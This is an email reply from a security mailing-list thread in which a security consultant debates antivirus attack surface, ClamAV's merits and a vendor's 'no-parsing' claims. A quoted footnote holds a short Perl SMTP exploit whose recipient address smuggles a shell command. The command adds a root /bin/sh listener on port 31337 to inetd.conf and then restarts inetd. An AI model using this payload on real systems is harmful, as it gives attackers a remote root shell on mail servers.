Dear Faas,
Dear Bob,
Jon Oberheide send me some impressive statistics with regards of
vulnerabilities within AV Software, interesting enough most of them
are remotely exploitable :O
Most? I would expect most to offer patches quickly.
Yep most of them, if AV software scans data that comes from a remote
source it is remotely exploitable.
But it all depends on who is your enemy, if your enemy is a script kiddie
then yes patching helps. If your up to enemies developing zero days I guess
that won't help.
It goes without saying that patching does not protect against zero day
exploits.
That sounds like "snake oil". The more code (i.e., adding their
product) the greater the "remotely exploitable attack surface".
I'd like to disagree : Not really. Only code that deals with data that
can be manipulated by an attacker is "exploitable
attack surface", so if you only add code that is static and does not
parse, nor deal with data
an attacker can manipulate, your exploitable attack surface does in
fact _not_ grow, that's not snake oil
but a simple fact, I guess =)
I don't understand what you are saying. I am assuming that the nruns.com
product is scanning for viruses in email. Thus, the data (the email)
can be manipulated by the attacker.
Anyways in this case I am not sure about it, have you read the
"Security through No-Parsing" paradigma ? They apparently don't parse
the data and put everything in a sealed environment. knowing these
guys found these bugs
(http://www.nruns.com/parsing-engines-advisories.php)
I guess they know what they are talking about ?? But then again you
never know.
"No-Parsing paradigma"? Paradigma isn't even a word (according to
www.merriam-webster.com).
Our product (and to various degrees others, such as raw ClamAV) also run
in a "sealed" environment such as a separate UID, chroot'ed, etc.
We have developed an excellent spam and virus filter that uses ClamAV as
the virus signature matching engine and have had great success with it.
We also add our own proprietary virus filtering on top of ClamAV to
block most viruses too new to have a signature.
ClamAV ? Lowest detection rate in the industry, no on-access scans and
an Anti-virus that was vulnerable to such bugs
[1] you consider a great success ? I don't know who you are protecting
but I hope they were not vulnerable to this :
It has worked quite well for our many clients for many years with zero
compromises. Further, it ran just fine when McAfee (or Norton, I do
not recall) hung and brought down a client's network when it received
a virus it could not handle! (Note that our product does additional
virus filtering that does catch things that ClamAV may not.)
[1]
print $sock "ehlo you\r\n";
print $sock "mail from: <>\r\n";
print $sock "rcpt to: <nobody+\"|echo '31337 stream tcp nowait root
/bin/sh -i' >> /etc/inetd.conf\"@localhost>\r\n";
print $sock "rcpt to: <nobody+\"|/etc/init.d/inetd restart\"@localhost>\r\n";
print $sock "data\r\n.\r\nquit\r\n";
No, ClamAV would not be vulnerable to this because it doesn't receive
the message until after the dialog with the sending system is done. It
would be the mail server, such as Sendmail, that handles this. This is
such a simple attack that anything more advanced than using a shell
or perl script to parse would be immune to this.
Best regards,
Bob Toxen, CTO
Horizon Network Security
"Your expert in Spam and Virus Filters, Linux server hardening, Firewalls,
Network Monitoring, Linux System Administration, VPNs, local and remote
backup software, and Network Security consulting, in business for 18 years."
www.VerySecureLinux.com [Network & Linux/Unix Security Consulting]
www.RealWorldLinuxSecurity.com [Our 5* book: "Real World Linux Security"]
bob@VerySecureLinux.com (e-mail)
My article on "The Seven Deadly Sins of Linux Security" was
published in the May/June 2007 issue of ACM's QUEUE Magazine.
